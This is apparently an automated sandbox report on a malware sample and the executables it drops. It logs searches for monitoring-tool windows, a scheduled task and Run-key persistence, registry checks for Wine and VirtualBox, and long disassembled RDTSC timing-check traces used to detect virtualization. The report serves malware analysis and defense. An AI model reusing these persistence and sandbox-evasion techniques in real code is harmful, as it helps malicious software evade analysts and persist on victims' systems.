Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Documents\FHCGCAAKJD.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0eb65aaf2f.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0eb65aaf2f.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8b4f365c71.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8b4f365c71.exe

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54028C second address: 53FAB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jns 00007F2FD0BFC0BEh 0x0000000d nop 0x0000000e ja 00007F2FD0BFC0BCh 0x00000014 push dword ptr [ebp+122D0949h] 0x0000001a stc 0x0000001b call dword ptr [ebp+122D2E84h] 0x00000021 pushad 0x00000022 jg 00007F2FD0BFC0BCh 0x00000028 mov dword ptr [ebp+122D1AA7h], edi 0x0000002e mov dword ptr [ebp+122D1AA7h], edi 0x00000034 xor eax, eax 0x00000036 jmp 00007F2FD0BFC0C0h 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f cld 0x00000040 mov dword ptr [ebp+122D1AA2h], eax 0x00000046 mov dword ptr [ebp+122D28C5h], eax 0x0000004c add dword ptr [ebp+122D1AA2h], edx 0x00000052 mov esi, 0000003Ch 0x00000057 cld 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c jnp 00007F2FD0BFC0BEh 0x00000062 pushad 0x00000063 mov esi, dword ptr [ebp+122D290Dh] 0x00000069 popad 0x0000006a sub dword ptr [ebp+122D1AA7h], eax 0x00000070 lodsw 0x00000072 pushad 0x00000073 mov dword ptr [ebp+122D2EFCh], esi 0x00000079 sbb bx, 7C30h 0x0000007e popad 0x0000007f add eax, dword ptr [esp+24h] 0x00000083 or dword ptr [ebp+122D1AA2h], edx 0x00000089 mov ebx, dword ptr [esp+24h] 0x0000008d mov dword ptr [ebp+122D1AA7h], edi 0x00000093 or dword ptr [ebp+122D1AA2h], ebx 0x00000099 nop 0x0000009a pushad 0x0000009b push eax 0x0000009c push edx 0x0000009d jng 00007F2FD0BFC0B6h 0x000000a3 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FAB7 second address: 53FAC5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F2FD103293Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FAC5 second address: 53FAD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F2FD0BFC0B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDDF4 second address: 6BDDF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDF59 second address: 6BDF79 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2FD0BFC0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F2FD0BFC0CAh 0x00000010 jmp 00007F2FD0BFC0BEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE0CC second address: 6BE0D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE0D0 second address: 6BE0D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C226E second address: 6C230A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 ja 00007F2FD1032936h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f call 00007F2FD103293Ah 0x00000014 sub dword ptr [ebp+122D3601h], esi 0x0000001a pop edx 0x0000001b push 00000000h 0x0000001d mov dword ptr [ebp+122D36AAh], edi 0x00000023 push 3A1B799Ch 0x00000028 jns 00007F2FD103293Eh 0x0000002e jl 00007F2FD1032938h 0x00000034 xor dword ptr [esp], 3A1B791Ch 0x0000003b pushad 0x0000003c mov dword ptr [ebp+122D39B4h], edx 0x00000042 jnp 00007F2FD1032938h 0x00000048 popad 0x00000049 mov cx, 9B31h 0x0000004d push 00000003h 0x0000004f mov edi, dword ptr [ebp+122D2EFCh] 0x00000055 push 00000000h 0x00000057 add dword ptr [ebp+122D33A6h], eax 0x0000005d push 00000003h 0x0000005f push 00000000h 0x00000061 push edi 0x00000062 call 00007F2FD1032938h 0x00000067 pop edi 0x00000068 mov dword ptr [esp+04h], edi 0x0000006c add dword ptr [esp+04h], 00000017h 0x00000074 inc edi 0x00000075 push edi 0x00000076 ret 0x00000077 pop edi 0x00000078 ret 0x00000079 mov dx, 6FA6h 0x0000007d call 00007F2FD1032939h 0x00000082 pushad 0x00000083 push ebx 0x00000084 pushad 0x00000085 popad 0x00000086 pop ebx 0x00000087 push esi 0x00000088 push eax 0x00000089 push edx 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C230A second address: 6C231B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F2FD0BFC0B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C231B second address: 6C2321 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2321 second address: 6C2350 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jnp 00007F2FD0BFC0BAh 0x00000013 mov eax, dword ptr [eax] 0x00000015 jng 00007F2FD0BFC0C4h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2350 second address: 6C2354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEBFB second address: 6DEC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD0BFC0C5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DED61 second address: 6DED65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DED65 second address: 6DED7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DED7A second address: 6DED80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DED80 second address: 6DED84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DED84 second address: 6DED8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEEF8 second address: 6DEEFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEEFE second address: 6DEF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEF02 second address: 6DEF06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEF06 second address: 6DEF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF4E3 second address: 6DF4E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF647 second address: 6DF655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F2FD1032936h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF655 second address: 6DF665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 jc 00007F2FD0BFC0B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF665 second address: 6DF690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push edx 0x00000009 jmp 00007F2FD1032944h 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F2FD1032936h 0x00000016 jc 00007F2FD1032936h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFC80 second address: 6DFC86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFC86 second address: 6DFC8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFDAA second address: 6DFDB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jc 00007F2FD0BFC0B6h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFDB9 second address: 6DFDDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032946h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2FD103293Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4B9E second address: 6B4BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F2FD0BFC0C2h 0x0000000b popad 0x0000000c jc 00007F2FD0BFC0BEh 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jno 00007F2FD0BFC0B6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E086B second address: 6E088E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F2FD1032936h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jmp 00007F2FD103293Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007F2FD1032936h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E09ED second address: 6E09F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E09F1 second address: 6E0A17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032944h 0x00000007 jbe 00007F2FD1032936h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jg 00007F2FD103293Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADF17 second address: 6ADF47 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2FD0BFC0C3h 0x0000000d jmp 00007F2FD0BFC0C5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADF47 second address: 6ADF4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADF4B second address: 6ADF5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d ja 00007F2FD0BFC0B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADF5E second address: 6ADF62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADF62 second address: 6ADF6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADF6E second address: 6ADF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD1032946h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E880F second address: 6E8814 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8814 second address: 6E881A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E881A second address: 6E884D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jng 00007F2FD0BFC0C6h 0x0000000e jmp 00007F2FD0BFC0C0h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push edi 0x00000018 jng 00007F2FD0BFC0B8h 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 pop edi 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 push edi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E884D second address: 6E8852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8852 second address: 6E8858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8858 second address: 6E885C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E885C second address: 6E8887 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2FD0BFC0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2FD0BFC0C9h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB8FC second address: 6EB900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB900 second address: 6EB914 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2FD0BFC0BEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB914 second address: 6EB924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F2FD103293Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB924 second address: 6EB965 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2FD0BFC0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F2FD0BFC0C2h 0x00000016 jmp 00007F2FD0BFC0C5h 0x0000001b popad 0x0000001c jng 00007F2FD0BFC0D3h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB965 second address: 6EB980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD1032947h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB980 second address: 6EB98A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2FD0BFC0BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3081 second address: 6B3085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAE0A second address: 6EAE16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007F2FD0BFC0B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
